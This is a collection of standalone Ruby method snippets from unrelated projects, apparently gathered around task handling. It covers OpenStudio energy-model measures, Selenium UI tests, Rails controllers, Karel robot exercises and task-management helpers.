"def adjust_prerequisites #:nodoc:\n prerequs = (self.prerequisites.presence || {})[:for_setup]\n return unless prerequs.present?\n my_participants = selected_participants\n my_sessions = selected_sessions\n tids = prerequs.keys.map { |tid| tid.sub(/^T/,\"\") } # [ '123', '124' etc ]\n tids.each do |tid|\n subtask = CbrainTask.find_by_id(tid)\n if subtask.nil?\n self.addlog(\"Warning: one prerequisite subtask has disappeared: task ##{tid}\")\n self.remove_prerequisites_for_setup(tid)\n next\n end\n subtask_mode = subtask.params[:_cb_mode]\n next unless subtask_mode == 'participant' || subtask_mode == 'session'\n if ( # yikes\n ((subtask_mode == 'participant') && (subtask.selected_participants & my_participants).empty?) ||\n ((subtask_mode == 'session') && (subtask.selected_sessions & my_sessions ).empty?)\n )\n self.add_prerequisites_for_setup(tid, 'AnyGo') # this can either change it or leave it the same\n else\n self.add_prerequisites_for_setup(tid, 'Completed') # this can either change it or leave it the same\n end\n end\n end",
"def perform(**task)\n raise \"No work defined! for this task: #{task[:body]}. Define #perform private method in your class\"\n end",
"def save_task(task_type, target_user, work_object_id = 0, comments = \"\", subject = \"Other\")\n params =\n MagicParams.format(\n user_id: @allscripts_username,\n parameter1: task_type,\n parameter2: target_user,\n parameter3: work_object_id,\n parameter4: comments,\n parameter5: subject\n )\n results = magic(\"SaveTask\", magic_params: params)\n results[\"savetaskinfo\"]\n end",
"def resolve_gazebo_tasks(sdf, world_task)\n sdf.each_model(recursive: true) do |model|\n gazebo_task_name = \"gazebo:#{model.full_name.gsub('::', ':')}\"\n\n joints_cmd = world_task.port(\"#{model.name}:joints_cmd\")\n pose_cmd = world_task.pose_cmd\n\n connect_port_to gazebo_task_name, \"joints_samples\", joints_cmd\n connect_port_to gazebo_task_name, \"pose_samples\", pose_cmd\n end\nend",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n buildingType = runner.getStringArgumentValue('buildingType', user_arguments)\n vintage = runner.getStringArgumentValue('vintage', user_arguments)\n drType = runner.getStringArgumentValue('drType', user_arguments)\n drPeriod = runner.getStringArgumentValue('drPeriod', user_arguments)\n schedule_old = runner.getOptionalWorkspaceObjectChoiceValue('schedule_old', user_arguments, model)\n usepredefined = runner.getBoolArgumentValue('usepredefined', user_arguments)\n # schedule_new = runner.getOptionalWorkspaceObjectChoiceValue('schedule_new', user_arguments, model)\n\n bl_m = {\"Large Office Detailed\" => \"largeofficedetailed\",\n \"Medium Office Detailed\" => \"mediumofficedetailed\",\n \"Retail Standalone\" => \"retail\",\n \"Big Box Retail\" => \"bbr\"}\n\n vt_m = {\"Post-1980\" => \"p1980\", \"2010\" => \"2010\"}\n dr_m = {\"Lighting\" => \"lighting\", \"Plug loads\" => \"plugloads\",\n \"Summer GTA\" => \"summer_gta\", \"Pre-cool and Summer GTA\" => \"summer_precool\",\n \"Winter GTA\" => \"winter_gta\", \"Pre-heat and Winter GTA\" => \"winter_preheat\"}\n dp_m = {\"All year\" => \"allyear\", \"Summer\" => \"summer\", \"Winter\" => \"winter\"}\n\n root_path = File.dirname(__FILE__) + '/resources/'\n\n #### generate a new schedule ####\n runner.registerInfo(\"Generate the new schedule\")\n\n load root_path + 'ScheduleGenerator.rb'\n schedGen = ScheduleGenerator.new(bl_m[buildingType], vt_m[vintage], dr_m[drType], dp_m[drPeriod], usepredefined)\n runner.registerInfo(\"The schedule model is created.\")\n \n #### add the schedule objects to the model ####\n runner.registerInfo(\"The the schedule objects to the original model\")\n model2 = OpenStudio::Model::Model.load(OpenStudio::Path.new(root_path + \"out_compact_schedule.osm\")).get\n runner.registerInfo(\"The model has #{model2.modelObjects.size} objects\")\n if model2.modelObjects.size > 0\n model2.modelObjects.each {|o| o.clone(model)}\n runner.registerInfo(\"There are '#{model2.modelObjects.size}' objects in the model\")\n end\n\n schedule_new_name = model2.getSchedules[0].name.get\n runner.registerInfo(\"The schedule model '#{schedule_new_name}' is added to the original model.\")\n\n #### replace the old schedule with a new one ####\n runner.registerInfo(\"The the original schedule with the new schedule\")\n if schedule_old.empty?\n handle = runner.getStringArgumentValue('schedule_old', user_arguments)\n if handle == OpenStudio.toUUID('').to_s\n # no change\n schedule_old = nil\n else\n runner.registerError(\"The selected schedule with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !schedule_old.get.to_Schedule.empty?\n schedule_old = schedule_old.get.to_Schedule.get\n else\n runner.registerError('Script Error - argument not showing up as schedule.')\n return false\n end\n end\n\n ### retrieve the new schedule after being imported into the model\n schedule_new = model.getScheduleByName(schedule_new_name).get\n\n schedule_old.sources.each do |source|\n source_index = source.getSourceIndices(schedule_old.handle)\n source_index.each do |field|\n source.setPointer(field, schedule_new.handle)\n end\n end\n schedule_old_name = schedule_old.name.get\n schedule_old.remove\n \n runner.registerInfo(\"The original schedule '#{schedule_old_name}' with the new schedule '#{schedule_new.name.get}'\")\n schedule_new.setName(schedule_old_name)\n\n\n runner.registerInitialCondition(\"The building with original schedule '#{schedule_old_name}'.\")\n runner.registerFinalCondition(\"The building with updated schedule '#{schedule_new.name.get}'.\")\n\n return true\n end",
"def begin_task_execution(task, step)\n params = Hash.new\n params[:current_task_id] = task.id\n params[:current_step] = step\n\n # if this is a multi-stage ds we don't bother to keep track of individual states\n if is_multiple_task? && get_plan_diario_post_task.nil?\n params[:ot_state_id] = OtState.find_by_ordinal(OtState::OT_STATE_EN_PROCESO).id\n else\n params[:ot_state_id] = task.decode_ot_state\n end\n update_attributes(params)\n end",
"def task_params\n # params.require(:name).permit(:workspace, :assignee)\n end",
"def test_025\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n #Move to general control tab\n click $xpath[\"task\"][\"general_control_tab\"]\n\n #The information set does not disappear and remains.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n # logout\n logout\n\n end",
"def show\n @project = Project.find(params[:project_id])\n @task = Task.find(params[:id])\n\n\t@current_user_id = 1 # TODO: fix me\n\t@can_mark_as_abandoned = @task.requester_user_id == @current_user_id || @task.performer_user_id == @current_user_id\n\t@performer_not_yet_decided = @task.performer_user_id == 0\n\t@ready_to_decide_performer = 0 # TODO: fix me @task.\n\t@shares_available = self.get_shares_available( @project.id, @current_user_id )\n\n\t# always assume a new task_share; updating existing ones will delete previous ones\n\t@task_share = TaskShare.new( :task_id => @task.id )\n\n\t@all_task_shares = TaskShare.find_all_by_task_id( @task.id )\n\n\t@expand_share_pool_decision = ExpandSharePoolDecision.find_by_task_id( @task.id )\n\t@vote = Vote.new\n\tif ! @expand_share_pool_decision.nil?\n\t\t#@expand_share_pool_votes = Vote.find_all_by_decision_id( @expand_share_pool_decision.decision.id )\n\t\t@expand_share_pool_votes = @expand_share_pool_decision.decision.votes\n\tend\n\n\tif ! @task.decisions.nil? and ! @task.decisions.first.nil?\n\t\t@who_should_do_task_decision = @task.decisions.first.decidable # assume there's only one, and it's the first, for now; TODO: don't assume\n\tend\n\n\t@who_vote = Vote.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end",
"def description\n \"This task hits the Corpwatch API and creates an entity for all found entities.\"\nend",
"def instanciate(plan, variables = {})\n raise NotImplementedError, \"must reimplement #instanciate in the task objects used in coordination primitives\"\n end",
"def to_task\n\t\tt = Rubyfocus::Task.new(nil)\n\t\tinstance_variables.each do |ivar|\n\t\t\tnext if ivar == :\"@document\"\n\t\t\tsetter = ivar.to_s.gsub(/^@/,\"\") + \"=\"\n\t\t\tt.send(setter, self.instance_variable_get(ivar))\tif t.respond_to?(setter)\n\t\tend\n\t\tt\n\tend",
"def test_022\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n # logout\n logout\n\n end",
"def test_create_task\n login\n sleep 20\n @driver.find_element(:xpath, \".//*[@id='main-nav']/li[9]/a/i\").click\n sleep 5 \n @driver.find_element(:xpath, \"//input[@ng-model='model.bindable']\").click \n sleep 2\n time = get_Present\n task_Name = \"task for \"+time\n @driver.find_element(:xpath, \"//input[@placeholder='Type your task here...']\").send_keys task_Name\n @driver.find_element(:xpath, \"//div[@placeholder='Task description...']\").send_keys \"Test selenium description for task\"\n sleep 2\n # Due date selection for task\n @driver.find_element(:xpath, \".//*[@id='main-section']/div/div/div[2]/vox-task-form/div/form/div[3]/div[1]/date-picker/div/div/div/span\").click\n sleep 2\n @driver.find_element(:xpath, \"//button[@class='picker__button--today']\").click\n sleep 2\n assignto = \"//select[@name='assignedToId']\"\n assignto_index = \"2\"\n getSelect_by_index(assignto,assignto_index)\n sleep 2\n category = \"//select[@name='taskTypeId']\"\n category_index = \"2\"\n getSelect_by_index(category,category_index)\n sleep 2\n @driver.find_element(:xpath, \"//button[@class='submit-button button']\").send_keys :enter \n sleep 2\n puts \"Created \"+task_Name\n sleep 5 \n end",
"def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n \r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n #assign the user inputs to variables\r\n infiltrationEnvelope = runner.getStringArgumentValue(\"infiltrationEnvelope\",user_arguments)\r\n infiltrationOccupant = runner.getStringArgumentValue(\"infiltrationOccupant\",user_arguments)\r\n story = runner.getOptionalWorkspaceObjectChoiceValue(\"story\",user_arguments,model) #model is passed in because of argument type\r\n num_entries = runner.getIntegerArgumentValue(\"num_entries\",user_arguments)\r\n doorOpeningEventsPerPerson = runner.getDoubleArgumentValue(\"doorOpeningEventsPerPerson\",user_arguments)\r\n pressureDifferenceAcrossDoor_pa = runner.getDoubleArgumentValue(\"pressureDifferenceAcrossDoor_pa\",user_arguments)\r\n costTotalEnvelopeInfiltration = runner.getDoubleArgumentValue(\"costTotalEnvelopeInfiltration\",user_arguments)\r\n costTotalEntryInfiltration = runner.getDoubleArgumentValue(\"costTotalEntryInfiltration\",user_arguments)\r\n\r\n # check that story exists in model\r\n modelObjectCheck = OsLib_HelperMethods.checkChoiceArgFromModelObjects(story, \"story\",\"to_BuildingStory\", runner, user_arguments)\r\n\r\n if modelObjectCheck == false\r\n return false\r\n else\r\n story = modelObjectCheck[\"modelObject\"]\r\n apply_to_building = modelObjectCheck[\"apply_to_building\"]\r\n end\r\n\r\n # make hash of argument display name and value #todo - would be better to get these directly from the display name\r\n argumentHash = {\r\n \"number of entries\" => num_entries,\r\n \"door opening events per person\" => doorOpeningEventsPerPerson,\r\n }\r\n #check arguments for reasonableness (runner, min, max, argumentArray)\r\n checkDoubleArguments = OsLib_HelperMethods.checkDoubleArguments(runner,0,nil,argumentHash)\r\n if not checkDoubleArguments\r\n return false\r\n end\r\n\r\n # global variables for costs\r\n expected_life = 25\r\n years_until_costs_start = 0\r\n\r\n #reporting initial condition of model\r\n space_infiltration_objects = model.getSpaceInfiltrationDesignFlowRates\r\n if space_infiltration_objects.size > 0\r\n runner.registerInitialCondition(\"The initial model contained #{space_infiltration_objects.size} space infiltration objects.\")\r\n else\r\n runner.registerInitialCondition(\"The initial model did not contain any space infiltration objects.\")\r\n end\r\n\r\n # erase existing infiltration objects used in the model, but save most commonly used schedule\r\n # todo - would be nice to preserve attic space infiltration. There are a number of possible solutions for this\r\n removedInfiltration = OsLib_OutdoorAirAndInfiltration.eraseInfiltrationUsedInModel(model,runner)\r\n\r\n # find most common hard assigned from removed infiltration objects\r\n if removedInfiltration.size > 0\r\n defaultSchedule = removedInfiltration[0][0] # not sure why this is array vs. hash. I wanted to use removedInfiltration.keys[0]\r\n else\r\n defaultSchedule = nil\r\n end\r\n\r\n # get desired envelope infiltration area\r\n if infiltrationEnvelope == \"AEDG K-12 - Baseline\"\r\n targetFlowPerExteriorArea = 0.0003048 #0.06 cfm/ft^2\r\n else\r\n targetFlowPerExteriorArea = 0.000254 #0.05 cfm/ft^2\r\n end\r\n\r\n # hash to pass into infiltration method\r\n options_OsLib_OutdoorAirAndInfiltration_envelope = {\r\n \"nameSuffix\" => \" - envelope infiltration\", # add this to object name for infiltration\r\n \"defaultBuildingSchedule\" => defaultSchedule, # this will set schedule set for selected object\r\n \"setCalculationMethod\" => \"setFlowperExteriorSurfaceArea\",\r\n \"valueForSelectedCalcMethod\" => targetFlowPerExteriorArea,\r\n }\r\n # add in new envelope infiltration to all spaces in the model\r\n newInfiltrationPerExteriorSurfaceArea = OsLib_OutdoorAirAndInfiltration.addSpaceInfiltrationDesignFlowRate(model,runner,model.getBuilding, options_OsLib_OutdoorAirAndInfiltration_envelope)\r\n targetFlowPerExteriorArea_ip = OpenStudio::convert(targetFlowPerExteriorArea,\"m/s\",\"ft/min\").get\r\n runner.registerInfo(\"Adding infiltration object to all spaces in model with value of #{OpenStudio::toNeatString(targetFlowPerExteriorArea_ip,2,true)} (cfm/ft^2) of exterior surface area.\")\r\n\r\n # create lifecycle costs for floors\r\n envelopeImprovementTotalCost = 0\r\n totalArea = model.building.get.exteriorSurfaceArea\r\n newInfiltrationPerExteriorSurfaceArea.each do |infiltrationObject|\r\n spaceType = infiltrationObject.spaceType.get\r\n areaForEnvelopeInfiltration_si = OsLib_HelperMethods.getAreaOfSpacesInArray(model,spaceType.spaces,\"exteriorArea\")[\"totalArea\"]\r\n fractionOfTotal = areaForEnvelopeInfiltration_si/totalArea\r\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"#{spaceType.name} - Entry Infiltration Cost\", model.getBuilding, fractionOfTotal*costTotalEnvelopeInfiltration, \"CostPerEach\", \"Construction\", expected_life, years_until_costs_start)\r\n envelopeImprovementTotalCost += lcc_mat.get.totalCost\r\n end\r\n\r\n # get model climate zone and size and set defaultVestibule flag\r\n vestibuleFlag = false\r\n\r\n # check if vestibule should be used\r\n if infiltrationOccupant == \"Don't model Occupant Entry Infiltration With a Vestibule\"\r\n vestibuleFlag = false\r\n elsif infiltrationOccupant == \"Model Occupant Entry With a Vestibule\"\r\n vestibuleFlag = true\r\n else\r\n climateZoneNumber = OsLib_AedgMeasures.getClimateZoneNumber(model,runner)\r\n if climateZoneNumber == false\r\n return false\r\n elsif climateZoneNumber.to_f > 3\r\n vestibuleFlag = true\r\n elsif climateZoneNumber.to_f == 3\r\n building = model.getBuilding\r\n if building.floorArea > OpenStudio::convert(10000.0,\"ft^2\",\"m^2\").get\r\n vestibuleFlag = true\r\n end\r\n end\r\n end\r\n\r\n scheduleWeightHash = {} # make hash of schedules used for occupancy and then the number of people associated with it. Take instance multiplier into account\r\n nonRulesetScheduleWeighHash = {} # make hash of schedules used for occupancy and then the number of people associated with it. Take instance multiplier into account\r\n peopleInstances = model.getPeoples\r\n peopleInstances.each do |peopleInstance|\r\n\r\n # get value from def\r\n\r\n # get schedule\r\n if not peopleInstance.numberofPeopleSchedule.empty?\r\n\r\n # get floor area for spaceType or space\r\n if not peopleInstance.spaceType.empty?\r\n spaceArray = peopleInstance.spaceType.get.spaces\r\n else\r\n spaceArray = [peopleInstance.space.get] # making an array just so I can pass in what is expected to measure\r\n end\r\n schedule = peopleInstance.numberofPeopleSchedule.get\r\n floorArea = OsLib_HelperMethods.getAreaOfSpacesInArray(model,spaceArray,areaType = \"floorArea\")[\"totalArea\"]\r\n if not schedule.to_ScheduleRuleset.empty?\r\n if scheduleWeightHash[schedule]\r\n scheduleWeightHash[schedule] += peopleInstance.getNumberOfPeople(floorArea)\r\n else\r\n scheduleWeightHash[schedule] = peopleInstance.getNumberOfPeople(floorArea)\r\n end\r\n else # maybe use hash later to get proper number of people vs. just people related to ruleset schedules\r\n if nonRulesetScheduleWeighHash[schedule]\r\n nonRulesetScheduleWeighHash[schedule] += peopleInstance.getNumberOfPeople(floorArea)\r\n else\r\n nonRulesetScheduleWeighHash[schedule] = peopleInstance.getNumberOfPeople(floorArea)\r\n end\r\n runner.registerWarning(\"#{peopleInstance.name} uses '#{schedule.name}' as a schedule. It isn't a ScheduleRuleset object. That may affect the results of this measure.\")\r\n end\r\n else\r\n runner.registerWarning(\"#{peopleInstance.name} does not have a schedule associated with it.\")\r\n end\r\n end # end of peopleInstances.each do\r\n\r\n # get maxPeopleInBuilding with merged occupancy schedule\r\n mergedSchedule = OsLib_Schedules.weightedMergeScheduleRulesets(model, scheduleWeightHash)\r\n\r\n # get max value for merged occupancy schedule\r\n maxFractionMergedOccupancy = OsLib_Schedules.getMinMaxAnnualProfileValue(model, mergedSchedule[\"mergedSchedule\"])\r\n\r\n # create rate of change schedule from merged schedule\r\n rateOfChange = OsLib_Schedules.scheduleFromRateOfChange(model, mergedSchedule[\"mergedSchedule\"])\r\n\r\n # get max value for rate of change. this will help determine max people per hour\r\n maxFractionRateOfChange = OsLib_Schedules.getMinMaxAnnualProfileValue(model, rateOfChange)\r\n\r\n # misc inputs\r\n areaPerDoorOpening_ip = 21.0 #ft^2\r\n pressureDifferenceAcrossDoor_wc = pressureDifferenceAcrossDoor_pa/250 #wc\r\n typicalOperationHours = 12.0\r\n\r\n # get fraction for merge of occupancy schedule\r\n if doorOpeningEventsPerPerson <= 2.0\r\n fractionForRateOfChange = 1.0\r\n else\r\n fractionForRateOfChange = (2.0/doorOpeningEventsPerPerson)*0.6 # multiplier added to get closer to expected area under curve.\r\n end\r\n\r\n # merge the pre and post rate of change schedules together.\r\n mergedRateSchedule = OsLib_Schedules.weightedMergeScheduleRulesets(model, {mergedSchedule[\"mergedSchedule\"] =>(1.0 - fractionForRateOfChange),rateOfChange => fractionForRateOfChange})\r\n mergedRateSchedule[\"mergedSchedule\"].setName(\"Merged Rate of Change/Occupancy Hybrid\")\r\n\r\n # todo - until I can make the merge schedule script work on rules I'm going to hard code rule to with 0 value on weekends and summer\r\n runner.registerInfo(\"Occupant Entry Infiltration schedule based on default rule profile of people schedules. Hard coded to apply monday through friday, September 1st through June 30th.\")\r\n\r\n hybridSchedule = mergedRateSchedule[\"mergedSchedule\"]\r\n yearDescription = model.getYearDescription\r\n summerStart = yearDescription.makeDate(7,1)\r\n summerEnd = yearDescription.makeDate(8,31)\r\n\r\n # create weekend rule\r\n weekendRule = OpenStudio::Model::ScheduleRule.new(hybridSchedule)\r\n weekendRule.setApplySaturday(true)\r\n weekendRule.setApplySunday(true)\r\n\r\n # create summer rule\r\n summerRule = OpenStudio::Model::ScheduleRule.new(hybridSchedule)\r\n summerRule.setStartDate(summerStart)\r\n summerRule.setEndDate(summerEnd)\r\n summerRule.setApplySaturday(true)\r\n summerRule.setApplySunday(true)\r\n summerRule.setApplyMonday(true)\r\n summerRule.setApplyTuesday(true)\r\n summerRule.setApplyWednesday(true)\r\n summerRule.setApplyThursday(true)\r\n summerRule.setApplyFriday(true)\r\n\r\n # create schedule days to use with summer weekend and summer rules\r\n weekendProfile = weekendRule.daySchedule\r\n weekendProfile.addValue(OpenStudio::Time.new(0, 24, 0, 0),0.0)\r\n\r\n summerProfile = weekendRule.daySchedule\r\n summerProfile.addValue(OpenStudio::Time.new(0, 24, 0, 0),0.0)\r\n\r\n typicalPeopleInBuilding = mergedSchedule[\"denominator\"] * maxFractionMergedOccupancy[\"max\"] # this is max capacity from people objects * max annual schedule fraction value\r\n if num_entries > 0\r\n typicalAvgPeoplePerHour = (typicalPeopleInBuilding*doorOpeningEventsPerPerson)/(typicalOperationHours*num_entries)\r\n else\r\n typicalAvgPeoplePerHour = 0\r\n end\r\n\r\n #prepare rule hash for airflow coefficient. Uses people/hour/door as input\r\n rules = [] # [people per hour per door, airflow coef with vest, airflow coef without vest]\r\n finalPeoplePerHour = nil # this will be used a little later\r\n lowAbs = nil\r\n\r\n # values from ASHRAE Fundamentals 16.26 figure 16 for automatic doors with and without vestibules (people per hour per door, with vestibule, without)\r\n rules << [0.0,0.0,0.0]\r\n rules << [75.0,190.0,275.0]\r\n rules << [150.0,315.0,500.0]\r\n rules << [225.0,475.0,750.0]\r\n rules << [300.0,610.0,900.0]\r\n rules << [375.0,750.0,1100.0]\r\n rules << [450.0,850.0,1225.0]\r\n\r\n #make rule hash for cleaner code\r\n rulesHash = {}\r\n rules.each do |rule|\r\n rulesHash[rule[0]] = {\"vestibule\" => rule[1],\"noVestibule\" => rule[2]}\r\n end\r\n\r\n # get airflow coef from rules\r\n if vestibuleFlag then hashValue = \"vestibule\" else hashValue = \"noVestibule\" end\r\n\r\n # get rule above and below target people per hour and interpolate airflow coefficient\r\n lower = nil\r\n upper = nil\r\n target = typicalAvgPeoplePerHour # calculated earlier\r\n rulesHash.each do |peoplePerHour,values|\r\n if target >= peoplePerHour then lower = peoplePerHour end\r\n if target <= peoplePerHour\r\n upper = peoplePerHour\r\n next\r\n end\r\n end\r\n if lower.nil? then lower = 0 end\r\n if upper.nil? then upper = 450.0 end\r\n range = upper-lower\r\n airflowCoefficient = ((upper - target)/range)*rulesHash[lower][hashValue] + ((target - lower)/range)*rulesHash[upper][hashValue]\r\n\r\n # Method 2 formula for occupant entry airflow rate from 16.26 of the 2013 ASHRAE Fundamentals\r\n airFlowRateCfm = num_entries*airflowCoefficient*areaPerDoorOpening_ip*(Math.sqrt(pressureDifferenceAcrossDoor_wc))\r\n airFlowRate_si = OpenStudio::convert(airFlowRateCfm,\"ft^3\",\"m^3\").get/60 # couldn't direct get CFM to m^3/s\r\n runner.registerInfo(\"Objects representing #{OpenStudio::toNeatString(airFlowRate_si,2,true)}(cfm) of infiltration will be added to spaces on #{story.name}. Calculated with an airflow coefficent of #{OpenStudio::toNeatString(airflowCoefficient,0,true)} for each door That was calculated on a max door events per hour per door of #{OpenStudio::toNeatString(num_entries,0,true)}. Occupancy schedules in your model were used to both determine the airflow coefficient and to create a custom schedule to use the this infiltration object.\")\r\n if vestibuleFlag\r\n runner.registerInfo(\"While infiltration at primary occupant entries is based on using vestibules, vestibule geometry was not added to the model. Per K12 AEDG how to implement recommendation EN18 interior and exterior doors should have a minimum distance between them of not less than 16 ft when in the closed position.\")\r\n end\r\n\r\n # find floor area selected floor spaces\r\n areaForOccupantEntryInfiltration_si = OsLib_HelperMethods.getAreaOfSpacesInArray(model,story.spaces)\r\n\r\n # hash to pass into infiltration method\r\n options_OsLib_OutdoorAirAndInfiltration_entry = {\r\n \"nameSuffix\" => \" - occupant entry infiltration\", # add this to object name for infiltration\r\n \"schedule\" => mergedRateSchedule[\"mergedSchedule\"], # this will set schedule set for selected object\r\n \"setCalculationMethod\" => \"setFlowperSpaceFloorArea\",\r\n \"valueForSelectedCalcMethod\" => airFlowRate_si/areaForOccupantEntryInfiltration_si[\"totalArea\"],\r\n }\r\n\r\n # add in new envelope infiltration to all spaces in the model\r\n newInfiltrationPerFloorArea = OsLib_OutdoorAirAndInfiltration.addSpaceInfiltrationDesignFlowRate(model,runner,story.spaces, options_OsLib_OutdoorAirAndInfiltration_entry)\r\n\r\n # create lifecycle costs for floors\r\n entryImprovementTotalCost = 0\r\n totalArea = areaForOccupantEntryInfiltration_si[\"totalArea\"]\r\n storySpaceHash = areaForOccupantEntryInfiltration_si[\"spaceAreaHash\"]\r\n newInfiltrationPerFloorArea.each do |infiltrationObject|\r\n space = infiltrationObject.space.get\r\n fractionOfTotal = storySpaceHash[space]/totalArea\r\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"#{space.name} - Entry Infiltration Cost\", space, fractionOfTotal*costTotalEntryInfiltration, \"CostPerEach\", \"Construction\", expected_life, years_until_costs_start)\r\n entryImprovementTotalCost += lcc_mat.get.totalCost\r\n end\r\n\r\n # populate AEDG tip keys\r\n aedgTips = []\r\n\r\n # always need tip 17\r\n aedgTips.push(\"EN17\")\r\n\r\n if vestibuleFlag\r\n aedgTips.push(\"EN18\")\r\n end\r\n\r\n # don't really need not applicable flag on this measure, any building with spaces will be affected\r\n\r\n # populate how to tip messages\r\n aedgTipsLong = OsLib_AedgMeasures.getLongHowToTips(\"K12\",aedgTips.uniq.sort,runner)\r\n if not aedgTipsLong\r\n return false # this should only happen if measure writer passes bad values to getLongHowToTips\r\n end\r\n\r\n #reporting final condition of model\r\n space_infiltration_objects = model.getSpaceInfiltrationDesignFlowRates\r\n if space_infiltration_objects.size > 0\r\n runner.registerFinalCondition(\"The final model contains #{space_infiltration_objects.size} space infiltration objects. Cost was increased by $#{OpenStudio::toNeatString(envelopeImprovementTotalCost,2,true)} for envelope infiltration, and $#{OpenStudio::toNeatString(entryImprovementTotalCost,2,true)} for occupant entry infiltration. #{aedgTipsLong}\")\r\n else\r\n runner.registerFinalCondition(\"The final model does not contain any space infiltration objects. Cost was increased by $#{OpenStudio::toNeatString(envelopeImprovementTotalCost,2,true)} for envelope infiltration, and $#{OpenStudio::toNeatString(envelopeImprovementTotalCost,2,true)} for occupant entry infiltration. #{aedgTipsLong}\")\r\n end\r\n\r\n return true\r\n \r\n end",
"def add_task(task_description = \"\", task_notes = \"\", owned_by = \"\")\n # Bail out if this incident doesn't actually exist\n return nil if !exists?\n task = Task.create({\n 'ParentPublicID' => self['IncidentID'],\n 'ParentTypeName' => 'Incident',\n 'TaskType' => 'Action',\n 'TaskDescription' => task_description,\n 'Notes' => task_notes,\n 'OwnedBy' => owned_by,\n })\n rel_node = Nokogiri::XML::Node.new('Relationship', @dom)\n rel_node['Name'] = 'Incident Has Tasks'\n rel_node['TargetObjectName'] = 'Task'\n rel_node['Type'] = 'Owns'\n rel_node.inner_html = task.dom.css('BusinessObject').to_xml\n @dom.at_css('RelationshipList').add_child(rel_node)\n end",
"def assignment\n # Create assignment\n Relationship.create(assignment_parameters)\n \n # Get human readable assignment values\n @assignment_parts = assign_parts(params)\n end",
"def task()\n world = Robota::World\n world.read_world(\"../karel/empty.map\")\n \n karel = Question3.new(1, 1, Robota::NORTH, 1)\n karel2 = Question3.new(6, 1, Robota::EAST, 0)\n karel3 = Question3.new(6, 6, Robota::SOUTH, 0)\n karel4 = Question3.new(1, 6, Robota::WEST, 0)\n karel.put_beeper\n karel.run\n karel2.run\n karel3.run\n karel4.run\n karel4.run\n karel.run\n karel2.run\n karel3.run\n karel3.run\n karel4.run\n karel.run\n karel2.run\n karel2.run\n karel3.run\n karel4.run\n karel.run\n \n \nend",
"def setup_test_2(test_name, epw_path)\n osw_path = File.join(run_dir(test_name), 'in.osw')\n osw_path = File.absolute_path(osw_path)\n\n workflow = OpenStudio::WorkflowJSON.new\n workflow.setSeedFile(File.absolute_path(model_out_path(test_name)))\n workflow.setWeatherFile(File.absolute_path(epw_path))\n workflow.saveAs(osw_path)\n\n cli_path = OpenStudio.getOpenStudioCLI\n cmd = \"\\\"#{cli_path}\\\" run -w \\\"#{osw_path}\\\"\"\n #puts cmd\n system(cmd)\n end",
